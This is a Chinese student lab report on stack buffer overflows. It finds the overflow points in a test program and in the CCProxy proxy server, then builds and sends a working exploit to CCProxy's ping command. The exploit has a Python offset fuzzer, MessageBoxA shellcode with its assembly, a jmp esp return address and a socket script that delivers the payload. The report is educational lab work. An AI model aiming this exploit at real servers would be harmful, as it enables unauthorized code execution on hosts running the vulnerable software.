缓冲区溢出实验

  • 0x01 缓冲区溢出简介
  • 0x02 实验要求
  • 0x03 实验内容
    • 0x1 定位溢出点
    • 0x2 IDA查看溢出函数
    • 0x3 溢出调试
    • 0x4 编写shellcode
    • 0x5 发送shellcode
  • 0x04 问题
  • 0x05 实验总结

0x01 缓冲区溢出简介

缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。

0x02 实验要求

1.请对stackoverflow.exe和CCProxy.rar的溢出点(即输入数据长度为多少时,程序会发生溢出)进行定位。
2.根据你定位的溢出点,思考:如果你的Shellcode长度为500字节,那么在两种情况下,Shellcode放在参数的什么位置比较有利用执行?
3.在以上基础上完成一次shellcode的植入与运行。
要求
(1)Shellcode功能不限,可以是开端口、运行计算器(记事本)、添加帐号等 均可。
(2)Shellcode要求能够以参数的方式植入并覆盖栈空间。
(3)返回地址的EIP处只能填写jmp esp指令地址,不得填写shellcode的地址硬编码。

0x03 实验内容

0x1 定位溢出点

stackoverflow


缓冲区溢出实验_第1张图片
图1 用OD调试程序

找到程序执行的地方,并下断点


缓冲区溢出实验_第2张图片
图2 在程序入口下断点

在OD中找到栈溢出的地方


这里写图片描述
图3 堆栈情况

在上图中发现输入长度为20个字节的时候正好能将ret地址覆盖
当长度为16字节时(最后有截断字符0x00 地址变为了0x401100)恰好能将返回地址设置到程序执行前,以此来实现重复执行。


这里写图片描述
图4 输入长度为16

利用IDA反汇编的结果,可以直接看到产生溢出的函数


缓冲区溢出实验_第3张图片
图5 反汇编
发现产生溢出的strcpy函数,因为程序没有对argv的长度进行限制

CCproxy

  • 特定字符
s = ''
for i in range(10):
    for j in range(10):
        for m in range(10):
            for(n) in range(10):
                s += str(i)+str(j)+str(m)+str(n)
                if len(s) == 2000 :
                    print s

生成字节序不同的2000个字节


缓冲区溢出实验_第4张图片
图6 生成不同字节


缓冲区溢出实验_第5张图片
图7 OD堆栈

可以看到EIP的值前面是高字节后面是低字节 则为0253


缓冲区溢出实验_第6张图片
图8 搜索字符

长度为1012位

  • 脚本爆破

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.43.254", 23))
num = 15
while 1:
    s.send('ping'+'A'*num+'\n') #000a0d42 1013 0a0d4242 1014 0042000a 1011
    string = s.recv(4096)   
    print string
    if 'Host' in string or 'CCProxy' in string or 'be' in string:
        strtt = 1
    else:
        print 'no'
        print  num
    num += 1


缓冲区溢出实验_第7张图片
图9 爆破寻找

0x2 IDA查看溢出函数

利用IDA字符串搜索Host not found查找溢出函数位置


缓冲区溢出实验_第8张图片
缓冲区溢出实验_第9张图片
缓冲区溢出实验_第10张图片
图10 寻找溢出函数

0x3 溢出调试

首先根据IDA的静态分析设置调试断点0x430524
发送2000个字节


缓冲区溢出实验_第11张图片
图11 堆栈情况

发现程序只拷贝1024个字节后面再长的字节都会被前面的覆盖

0x4 编写shellcode

1.找到messagebox的函数地址
利用自己编写的弹窗函数寻找


这里写图片描述
图12 寻找地址

0x77D507EA

jmp esp地址选用\x12\x45\xfa\x7f
messagebox函数的参数有四个

33 DB  XOR EBX,EBX  压入NULL结尾的”failwest”字符串。之所以用EBX清零后入栈做为字符串的截断符,是为了避免“PUSH 0”中的NULL,否则植入的机器码会被strcpy函数截断。
53                  PUSH EBX  
68 77 65 73 74  PUSH 74736577  
68 66 61 69 6C  PUSH 6C696166  
8B C4                MOV EAX,ESP  EAX里是字符串指针
53                  PUSH EBX  四个参数按照从右向左的顺序入栈,分别为:                                          (0,failwest,failwest,0)                                                
50                   PUSH EAX  
50                   PUSH EAX  
53                   PUSH EBX  
B8 EA 04 D8 77  MOV EAX, 0x77D804EA  调用MessageBoxA。注意不同的机器这里的                                    
                                                                    函数入口地址可能不同,请按实际值填入!
FF D0                 CALL EAX  

0x5 发送shellcode

下面利用python socket连接CCproxy

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.43.254", 23))
string = s.recv(4096) 
print string
s.send('ping'
    +'\x90\x90\x90\x90'
    +'\x53\x68\x79\x71\x20\x20\x68\x68\x61\x63\x6b\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77\xFF\xD0'
    +'\x41'*984
    +'\x12\x45\xfa\x7f'
    +'\x91\x92\x93\x94\x95\x96\x97\x98\x99\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'+'\r\n') 
string = s.recv(4096)
print string

测试效果


缓冲区溢出实验_第12张图片
图13 shellcode效果

0x04 问题

虽然知道了溢出是函数sprintf造成的,但是还是不了解为什么只复制了1024个字节,后面的又被前面的覆盖掉了。

0x05 实验总结

缓冲区溢出的实验是我对程序溢出利用有了深刻的认识理解,通过调试软件漏洞大大增长了自己的动手实践能力。同时还找到了自己不足的方面。希望在以后的学习中更加丰富自己。

你可能感兴趣的:(逆向工程分析)